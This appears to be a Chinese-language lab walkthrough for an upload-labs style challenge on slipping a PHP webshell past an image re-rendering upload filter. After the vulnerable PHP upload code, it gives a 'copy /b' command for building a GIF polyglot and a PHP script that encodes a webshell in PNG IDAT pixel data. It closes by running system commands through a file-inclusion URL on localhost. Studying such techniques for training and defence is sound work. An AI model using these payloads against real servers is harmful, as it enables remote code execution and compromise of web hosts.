源码
$is_upload = false; $msg = null; if (isset($_POST['submit'])){ // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径 $filename = $_FILES['upload_file']['name']; $filetype = $_FILES['upload_file']['type']; $tmpname = $_FILES['upload_file']['tmp_name']; $target_path=$UPLOAD_ADDR.basename($filename); // 获得上传文件的扩展名 $fileext= substr(strrchr($filename,"."),1); //判断文件后缀与类型,合法才进行上传操作 if(($fileext == "jpg") && ($filetype=="image/jpeg")){ if(move_uploaded_file($tmpname,$target_path)) { //使用上传的图片生成新的图片 $im = imagecreatefromjpeg($target_path); if($im == false){ $msg = "该文件不是jpg格式的图片!"; }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".jpg"; $newimagepath = $UPLOAD_ADDR.$newfilename; imagejpeg($im,$newimagepath); //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = $UPLOAD_ADDR.$newfilename; unlink($target_path); $is_upload = true; } } else { $msg = "上传失败!"; } }else if(($fileext == "png") && ($filetype=="image/png")){ if(move_uploaded_file($tmpname,$target_path)) { //使用上传的图片生成新的图片 $im = imagecreatefrompng($target_path); if($im == false){ $msg = "该文件不是png格式的图片!"; }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".png"; $newimagepath = $UPLOAD_ADDR.$newfilename; imagepng($im,$newimagepath); //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = $UPLOAD_ADDR.$newfilename; unlink($target_path); $is_upload = true; } } else { $msg = "上传失败!"; } }else if(($fileext == "gif") && ($filetype=="image/gif")){ if(move_uploaded_file($tmpname,$target_path)) { //使用上传的图片生成新的图片 $im = imagecreatefromgif($target_path); if($im == false){ $msg = "该文件不是gif格式的图片!"; }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".gif"; $newimagepath = $UPLOAD_ADDR.$newfilename; imagegif($im,$newimagepath); //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = $UPLOAD_ADDR.$newfilename; unlink($target_path); $is_upload = true; } } else { $msg = "上传失败!"; } }else{ $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!"; } }
原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。
GIF
先准备了一个gif文件用hxd打开,末尾加了一句话。也可以用cmd命令
copy picture.gif /b + phpinfo.php /a 111.gif
然后上传。
然后下载上传后的文件,拖到hxd查看,发现一句话已经没了,将这两张对比
很容易发现相同的地方,将一句话写到相同的地方,保存,上传
将上传后的再次拖到hxd,代码依旧存在,绕过成功
PNG
png文件组成
png图片由3个以上的数据块组成。
PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。
PLTE
调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。
IDAT
图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。
IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像
IEND
图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。
如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:
00 00 00 00 49 45 4E 44 AE 42 60 82
第一种方法:写入PLTE数据块
php底层在对PLTE数据块验证的时候,主要进行了CRC校验.所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可。
这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像。
因为PLTE是辅助模块,找不到,所以这个方法不用了。
第二种方法:写入IDAT数据块
这里有国外大牛写的脚本,直接拿来运行即可。
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?>
我们来看一下这个马
用文件包含漏洞访问
http://127.0.0.1/?0=system&file=./upload/222.png
POST执行命令
1=ls